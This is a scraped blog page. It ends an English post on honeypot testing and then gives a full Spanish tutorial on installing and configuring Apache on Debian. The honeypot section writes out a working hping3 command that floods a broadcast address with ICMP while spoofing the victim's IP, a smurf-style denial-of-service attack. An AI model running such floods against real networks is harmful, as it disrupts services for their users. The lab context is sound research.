<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ_h_NdzOFRmXAupH1OuMS6bSuyeMUa-CgF-lMVLXvhchhtdOyYt28dFoxrVWOg9SPrY6OZ7fAWqzaqNmEcHibDlOD8AJnfVP_TPrGL76K_iQ4H_0-nteTF2qxbimrfCCVYca09z6e1wl3/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="47" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ_h_NdzOFRmXAupH1OuMS6bSuyeMUa-CgF-lMVLXvhchhtdOyYt28dFoxrVWOg9SPrY6OZ7fAWqzaqNmEcHibDlOD8AJnfVP_TPrGL76K_iQ4H_0-nteTF2qxbimrfCCVYca09z6e1wl3/s320/2.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
Figure 2. Flooding the honeypot with UDP traffic</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Scenario 3 – Use of ICMP protocol to flood the victim machine with IP spoofing</div>
<div style="text-align: left;">
This scenario uses ICMP protocol to ping the victim machine repeatedly. It is observed that millions of IDS are logged against a single connection within a few minutes of launching the attack as shown in figure 4. The number of packets and bytes transferred from the attacker’s machine are quite large but the incoming packets and bytes in response are 0 because the command is run with two special things:</div>
<div style="text-align: left;">
</div>
<ul style="text-align: left;">
<li>IP spoofing used by the attacker to launch the attack (option –a in command).</li>
<li>Use of broadcast address of the victim machine.</li>
</ul>
<br />
<div style="text-align: left;">
The command used to launch attack using ICMP protocol is:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="background-color: red;"><span style="color: yellow;">hping3 -1 --flood -a VICTIM_IP BROADCAST_ADDRESS</span></span><br />
<span style="background-color: red;"><span style="color: yellow;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlZtr86mi1xbBLgRBb018O5zSbmuOe43oAQhNgztVM4pVVXgCuSO6PlJ0FIW_OmGL3jzB_TVszpFL_WHloLCPW46zkRsTI5UKGS5p7JZH6kNxIzQxNxuzUaWy1GK4FpydWvEgX1kFEyp7j/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="41" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlZtr86mi1xbBLgRBb018O5zSbmuOe43oAQhNgztVM4pVVXgCuSO6PlJ0FIW_OmGL3jzB_TVszpFL_WHloLCPW46zkRsTI5UKGS5p7JZH6kNxIzQxNxuzUaWy1GK4FpydWvEgX1kFEyp7j/s320/3.png" width="320" /></a></div>
<div style="text-align: center;">
Figure 2. Flooding the honeypot with ICMP traffic<br />
<div style="text-align: left;">
<br />
<br />
References<br />
[1]"International Journal of computer Applications (0975-887)",Gurdip Kaur and Jatinder Singh saini<br />
[2]“Know Your Enemy: Honeywall CDROM Roo”, 3rd Generation Technology, The Honeynet Project.<br />
[3]“Hping”, www.hping.org<br />
[4]Johny, Awad, Andreas, Derdemezis, 2005. “Implementation of a High Interaction Honeynet Testbed for Educational and Research Purposes”, MsITT Thesis, AIT.<br />
[5]Zereneh, William, 2010. “Packet Crafting”.<br />
<br />
<br /></div>
<div style="text-align: left;">
<br />
<br /></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-51909179573705197632013-03-12T01:39:00.002+01:002013-03-12T01:40:56.519+01:00Instalación y Configuracion de Apache en Debian<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><img height="318" id="irc_mi" src="http://cdn.webbambu.com/wp-content/uploads/2012/03/netcraft-web-server-survey-march.jpg" style="margin-top: 0px;" width="400" /> </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> Queria empezar el siguiente post con la siguiente imagen en la cual podemos apreciar que hasta en marzo del 2012 "Apache" ocupaba el 57,45% seguido de "nginx" con un 12,71%, cabe deducir que en la actualidad Apache es el servidor web más utilizado en el mundo. Por tal motivo decidí hacer un resumen de la instalación y configuración de Apache.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="text-align: justify;">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Instalación de Apache2</span>
<b><span style="color: yellow;"><span class="kw2">apt-get install</span> apache2</span></b>
<span class="co0"># Arranque y parada del servicio:</span> </span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="color: yellow;"><b> service apache2 start <span class="sy0">|</span> stop <span class="sy0">|</span> status <span class="sy0">|</span> restart <span class="sy0">|</span> reload</b></span>
<span class="co0"># Rutas de ficheros de configuración:</span>
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>apache2.conf: configuración de directorio raiz por defecto, logs, procesos, etc.
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>httpd.conf: configuraciones de usuario.
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>mods-available<span class="sy0">/</span>: directorio de módulos disponibles
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>mods-enabled<span class="sy0">/</span>: directorio de módulos habilitados
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>ports.conf: configuraciones de puertos.
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>: configuración de sitios
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-enabled<span class="sy0">/</span>: configuración de los sitios que están habilitados.</span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
<pre class="de1"><u><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Directivas utilizadas para la configuración servidores virtuales y principal</span></span></b></u></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">ServerName: indica el nombre que se le dará al servidor web.
DocumentRoot: indica el directorio raíz del sitio para el servidor.
ServerAdmin: indica la dirección de correo del webmaster del sitio.
DirectoryIndex: indica los ficheros que podrán actuar como página índice del sitio.</span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
<pre class="de1"><u><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Habilitando y deshabilitando módulos</span></span></b></u></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
</div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">La inclusión de los módulos necesarios para ampliar la funcionalidad
del servidor, se efectúa mediante la directiva LoadModule, seguido del
nombre del módulo y el archivo (o librería) que lo contiene. Se
utilizarán tantas directivas LoadModule, como módulos distintos se vayan
a utilizar. </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">En Debian en el directorio /etc/apache2/mods-enabled tenemos
enlaces simbólicos con la extensión .load, que indican el módulo que se
va a cargar. Se pueden activar así o mediante la instrucción a2enmod
(apache 2 enable module) seguida del nombre del módulo a habilitar. Por
ejemplo: </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Para habilitar un módulo en Apache 2 se usa: a2enmod</span>
<span class="co0"># Habilitamos por ejemplo el módulo usertrack</span>
<span style="color: yellow;"><b>a2enmod usertrack</b></span>
<span class="co0"># Para deshabilitar un módulo en Apache 2 se usa: a2dismod</span>
<span class="co0"># Deshabilitamos por ejemplo el módulo usertrack</span>
<b><span style="color: yellow;">a2dismod usertrack</span></b></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Protegiendo Directorios</span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
</div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Hay dos formas de proteger directorios en Apache:
</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Antes de ejecutar cualquier de los dos métodos, hay que asegurarse que el módulo auth_basic está habilitado en: <b>/etc/apache2/mods-enabled</b>. </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">1)Creando el fichero .htaccess en el directorio a proteger </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Para proteger un directorio en Apache2.</span>
<span class="co0"># Dentro del directorio que queremos proteger creamos un fichero .htaccess con este contenido:</span>
<span style="color: yellow;"><b> </b></span></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="color: yellow;"><b>AuthName <span class="st0">"Acceso Restringido a este recurso"</span>
AuthType Basic
AuthUserFile <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc<span class="sy0">/</span>.htpasswd
Require valid-user</b></span>
<span class="co0"># Si queremos permitir el acceso sólo a un usuario específico, pondremos:</span>
<span style="color: yellow;"><b>Require user nombreusuario</b></span>
<span class="co0"># Crearemos el fichero de contraseñas, y lo pondremos </span>
<span class="co0"># en un directorio fuera de la raíz web, para más seguridad:</span>
<span style="color: yellow;"><span class="kw2">mkdir</span> <span class="re5">-p</span> <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc</span>
<span class="co0"># Creamos el fichero de contraseñas .htpasswd (lo ponemos oculto para dar más seguridad),</span>
<span class="co0"># con un usuario al que llamamos admin (nos pedirá la contraseña al pulsar ENTER).</span>
<span class="co0"># Creación del fichero de contraseñas:</span>
<b><span style="color: yellow;">htpasswd <span class="re5">-c</span> <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc<span class="sy0">/</span>.htpasswd admin</span></b>
<span class="co0"># Para añadir más usuarios al fichero de contraseñas (por ejemplo antonio):</span>
<span style="color: yellow;"><b>htpasswd <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc<span class="sy0">/</span>.htpasswd antonio</b></span>
<span class="co0"># Editar el directorio virtual en el fichero de configuración del Apache2 a proteger en:</span>
<span style="color: yellow;"><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>default</span>
<span class="co0"># Activar la opción AllowOverride All:</span>
<span style="color: yellow;"><b> <span class="sy0"><</span>Directory <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/></span>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
<span class="sy0"></</span>Directory<span class="sy0">></span></b></span>
<span class="co0"># Por último reiniciar el servicio Apache:</span>
<span style="color: yellow;"><b>service apache2 restart</b></span></span></span></pre>
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">2) Editando la configuración del sitio web:</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Crearemos el fichero de contraseñas, y lo pondremos </span>
<span class="co0"># en un directorio fuera de la raíz web, para más seguridad:</span>
<b><span style="color: yellow;"><span class="kw2">mkdir</span> <span class="re5">-p</span> <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc</span></b>
<span class="co0"># Creamos el fichero de contraseñas .htpasswd (lo ponemos oculto para dar más seguridad),</span>
<span class="co0"># con un usuario al que llamamos admin (nos pedirá la contraseña al pulsar ENTER).</span>
<span class="co0"># Creación del fichero de contraseñas:</span>
<span style="color: yellow;"><b>htpasswd <span class="re5">-c</span> <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc<span class="sy0">/</span>.htpasswd admin</b></span>
<span class="co0"># Para añadir más usuarios al fichero de contraseñas (por ejemplo antonio):</span>
<span style="color: yellow;"><b>htpasswd <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc<span class="sy0">/</span>.htpasswd antonio</b></span>
<span class="co0"># Editamos el sitio web que queremos proteger y el directorio en particular:</span>
<span style="color: yellow;"><b><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>default</b></span>
<span class="co0">#Añadimos las directivas necesarias en el directorio a proteger:</span>
<span style="color: yellow;">AuthType Basic
AuthName <span class="st0">"Acceso Restringido a este recurso"</span>
AuthUserFile <span class="sy0">/</span>usr<span class="sy0">/</span>local<span class="sy0">/</span>apache2<span class="sy0">/</span>etc<span class="sy0">/</span>.htpasswd
Require valid-user</span>
<span class="co0"># Si queremos permitir el acceso sólo a un usuario específico, pondremos:</span>
<span style="color: yellow;"><b>Require user pepe antonio maria</b></span></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><u><b>Peticiones HTTPS </b></u></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
</div>
<div class="mw-geshi" dir="ltr" style="text-align: justify;">
<div class="bash source-bash">
<div style="text-align: justify;">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Directivas para redireccionar todas las peticiones HTTP</span>
<span class="co0"># a peticiones HTTPS</span>
<span style="color: yellow;"><b>RewriteEngine on
DirectoryIndex index.php
RewriteCond <span class="sy0">%</span><span class="br0">{</span>SERVER_PORT<span class="br0">}</span> ^<span class="nu0">80</span>$
RewriteRule .<span class="sy0">*</span> https:<span class="sy0">//%</span><span class="br0">{</span>SERVER_NAME<span class="br0">}</span><span class="sy0">%</span><span class="br0">{</span>REQUEST_URI<span class="br0">}</span> <span class="br0">[</span>R,L<span class="br0">]</span></b></span>
<span class="co0"># Directiva para redireccionar los .html a sus correspondientes .php</span>
<span class="co0"># pasando el parámetro definido como inc (Query)</span>
<span style="color: yellow;"><b>RewriteRule ^<span class="br0">(</span><span class="br0">[</span>^<span class="sy0">/</span><span class="br0">]</span>+<span class="br0">)</span>.html$ index.php?<span class="re2">inc</span>=<span class="re4">$1</span> <span class="br0">[</span>QSA,L<span class="br0">]</span></b></span></span></span></pre>
<pre class="de1"><span style="color: yellow;"><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="br0"> </span></span></span></b></span></pre>
<pre class="de1"><u><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="br0">Servidores Virtuales en Apache</span></span></span></b></u></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="br0"> </span></span></span></pre>
</div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Nuestro servidor web puede servir múltiples webs a la vez, empleando una IP o varias.
</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Para poder hacer ésto, Apache necesita diferenciar el acceso a cada una de las webs, y para ello lo puede hacer de dos formas:
</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">
</span></span></div>
<ol style="text-align: justify;">
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> Configurando puertos distintos para cada web, y el acceso se hará a través de cada puerto.
</span></span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> A través de los diferentes nombres de dominio alojados en el servidor y que se conectan a un mismo puerto 80 (por ejemplo).
</span></span></li>
</ol>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">
</span></span></div>
<h3 style="text-align: justify;">
<u><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="mw-headline" id="Acceso_a_trav.C3.A9s_de_puertos_distintos"> Acceso a través de puertos distintos </span></span></span></u></h3>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">
</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Para configurar el acceso a diferentes webs, a través de puertos
diferenciados, lo primero que tenemos que hacer es configurar los
VirtualHost en nuestro servidor de Apache, e indicar los puertos dónde
queremos que escuche nuestro servidor web.
</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Editaremos el fichero <b>/etc/apache2/ports.conf</b>: </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="mw-geshi" dir="ltr" style="text-align: justify;">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0">#Vamos a habilitar los puertos dónde va a escuchar nuestro servidor Apache:</span>
<span style="color: yellow;"><b><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>ports.conf
Listen <span class="nu0">80</span>
Listen <span class="nu0">9999</span></b></span>
<span class="co0"># Si queremos que Apache escuche en unas IP específicas tendremos que poner también la IP:puerto</span>
<span style="color: yellow;"><b>Listen 192.168.2.250:<span class="nu0">80</span></b></span>
<span class="co0"># Mediante la directiva NameVirtualHost indicaremos que vamos a tener hosts virtuales.</span>
<span class="co0"># El asterisco indica que vamos a recibir peticiones de VirtualHost en todas las IP en las que </span>
<span class="co0"># está escuchando nuestro servidor web. Si nos interesa una IP específica la indicaremos.</span>
<span class="co0"># A continuación pondremos : y el número de puerto.</span>
<span style="color: yellow;"><b>NameVirtualHost <span class="sy0">*</span>:<span class="nu0">80</span></b></span>
<span class="co0"># Para cada servidor virtual, crearemos una línea como la anterior. Por ejemplo, añadimos una más:</span>
<b><span style="color: yellow;">NameVirtualHost <span class="sy0">*</span>:<span class="nu0">9999</span></span></b></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="nu0"> </span></span></span></pre>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Si queremos que se muestren webs diferentes al acceder por un puerto u
otro, editaremos las directivas correspondientes dentro del fichero <b>/etc/apache2/sites-available/default</b>, que es el sitio habilitado por defecto y configuraremos los parámetros de DocumentRoot, DirectoryIndex, ServerName, etc.
</span></span><br />
<h3>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="mw-headline" id="Acceso_a_trav.C3.A9s_de_nombres_de_dominios_diferentes"> Acceso a través de nombres de dominios diferentes </span></span></span></h3>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">En este caso el puerto será común a todos los servidores virtuales,
con lo que en principio el fichero ports.conf podemos tener algo como: </span></span><br />
<br />
<pre class="de1"><span style="color: yellow;"><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">NameVirtualHost <span class="sy0">*</span>:<span class="nu0">80</span>
Listen <span class="nu0">80</span></span></span></b></span></pre>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Crearemos un fichero con la configuración que queramos dar al nuevo sitio virtual, de esta manera evitaremos que el fichero <b>default</b> crezca demasiado en tamaño y se haga complicada su edición. Ese nuevo fichero lo haremos en <b> /etc/apache2/sites-available/</b>.
</span></span><br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Por ejemplo:</span>
<span style="color: yellow;"><b><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>servidor1.local</b></span></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="color: yellow;"><b> </b></span></span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Para cada servidor virtual se deberá crear un fichero como el
mencionado anteriormente, y dentro se creará un contenedor donde se
incluirán sus correspondientes directivas (ServerName, DocumentRoot,
ServerAdmin, DirectoryIndex). Cada contenedor, generalmente, está
delimitado por las etiquetas con formato <VirtualHost
direccion-de-red:puerto> y </VirtualHost>.
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Por ejemplo, éste sería el contenido mínimo para un servidor virtual servidor1.local: </span></span><br />
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="color: yellow;"><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="sy0"><</span>VirtualHost <span class="sy0">*</span>:<span class="nu0">80</span><span class="sy0">></span>
ServerName www.servidor1.local
DocumentRoot <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>servidor1.local
ServerAdmin webmaster<span class="sy0">@</span>servidor1.local
DirectoryIndex index.html index.php
<span class="sy0"></</span>VirtualHost<span class="sy0">></span></span></span></b></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="sy0"> </span></span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Por tanto se deberán crear tantos contenedores de este tipo como
servidores virtuales se necesiten. Como valor dirección-de-red se
indicará uno de los valores previamente definidos con las directivas
NameVirtualHost ("*" o una dirección IP), dependiendo por donde queremos
que el servidor virtual atienda las solicitudes.
</source>
</span></span><br />
<h3>
<u><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="mw-headline" id="Habilitar_.2F_Deshabilitar_sitios_web"> Habilitar / Deshabilitar sitios web </span></span></span></u></h3>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Para habilitar un sitio virtual que tenemos definido en la carpeta <b>/etc/apache2/sites-available/</b> lo haremos mediante el comando <b>a2ensite</b> nombredelsitio. Por ejemplo: </span></span><br />
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Suponiendo que en /etc/apache2/sites-available tenemos un sitio www.pruebas.local</span>
<span class="co0"># Lo habilitaremos con:</span>
<span style="color: yellow;"><b>a2ensite www.pruebas.local</b></span>
<span class="co0"># Para deshabilitarlo lo haremos con:</span>
<span style="color: yellow;"><b>a2dissite www.pruebas.local</b></span>
<span class="co0"># Reniciaremos el servicio a continuación:</span>
<span style="color: yellow;"><b>service apache2 restart</b></span></span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><br /></span></span>
<br />
<h3>
<u><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="mw-headline" id="Estructura_web_recomendada_para_m.C3.BAltiples_sitios_web"> Estructura web recomendada para múltiples sitios web </span></span></span></u></h3>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">En muchas organizaciones mantienen una estructura determinada a la
hora de colocar aplicaciones en sus servidores web. Aquí va una guía de
cómo organizar y estructurar el servicio web: </span></span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>1.-</b> Modificar la raíz del sitio web, como si fuera una aplicación web: en nuestro caso al instalar Debian la raíz del sitio web es <b>/var/www</b>. Lo que haremos es crear una carpeta llamada <b>htdocs</b> por ejemplo y modificaremos la directiva <b>DocumentRoot</b> en el fichero <b>/etc/apache2/sites-available/default</b> al directorio <b>/var/www/htdocs</b>.
</span></span><br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="kw2"> </span></span></span></pre>
<pre class="de1"><span style="color: yellow;"><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>default
DocumentRoot <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>htdocs
<span class="sy0"><</span>Directory <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>htdocs<span class="sy0">/></span>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
<span class="sy0"></</span>Directory<span class="sy0">></span></span></span></b></span></pre>
<pre class="de1"><span style="color: yellow;"><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="sy0"> </span></span></span></b></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>2.-</b> Si queremos instalar una nueva aplicación web en nuestro servidor web haremos:
</span></span><br />
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Crear el directorio principal de la aplicación en /var/www/, siguiendo esta estructura:
</span></span></li>
</ul>
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="color: yellow;"><b><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="kw2">mkdir</span> <span class="re5">-p</span> <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>aplicacion<span class="sy0">/</span>htdocs</span></span></b></span></pre>
</div>
</div>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Dentro de la carpeta htdocs de la aplicación, copiaremos todos los archivos de la misma.
</span></span></li>
</ul>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>3.-</b> Una vez copiados todos los archivos tendremos que crear el
fichero de configuración de Apache para esa aplicación. Ese fichero lo
crearemos en el directorio /etc/apache2/sites-available/.
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Un ejemplo de configuración para una web de programación de aplicaciones podría ser:</span></span><br />
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Esta recomendación es demasiado extensa. Se cita a modo de ejemplo, pero no se </span>
<span class="co0"># utilizará en ningún ejercicio.</span>
<span style="color: yellow;"><b><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>aplicacion</b></span>
<span style="color: yellow;"><b><span class="sy0"><</span>Directory <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>htdocs<span class="sy0">/</span>aplicacion<span class="sy0">></span>
Order allow,deny
Allow from all
Options +FollowSymLinks
Allowoverride all
RewriteEngine on
php_admin_value open_basedir <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>htdocs<span class="sy0">/</span>aplicacion:<span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>properties<span class="sy0">/</span>:
<span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>aplicacion:<span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>logs<span class="sy0">/</span>:<span class="sy0">/</span>tmp<span class="sy0">/</span>
<span class="sy0"></</span>Directory<span class="sy0">></span>
<span class="sy0"><</span>Location <span class="sy0">/</span>aplicacion<span class="sy0">></span>
SetEnv PROPDIR <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>aplicacion<span class="sy0">/</span>properties
SetEnv RUTAAPP <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>aplicacion<span class="sy0">/</span>htdocs
SetEnv FILEDIR <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>aplicacion<span class="sy0">/</span>files
<span class="sy0"></</span>Location<span class="sy0">></span></b></span></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="sy0"> </span></span></span></pre>
</div>
</div>
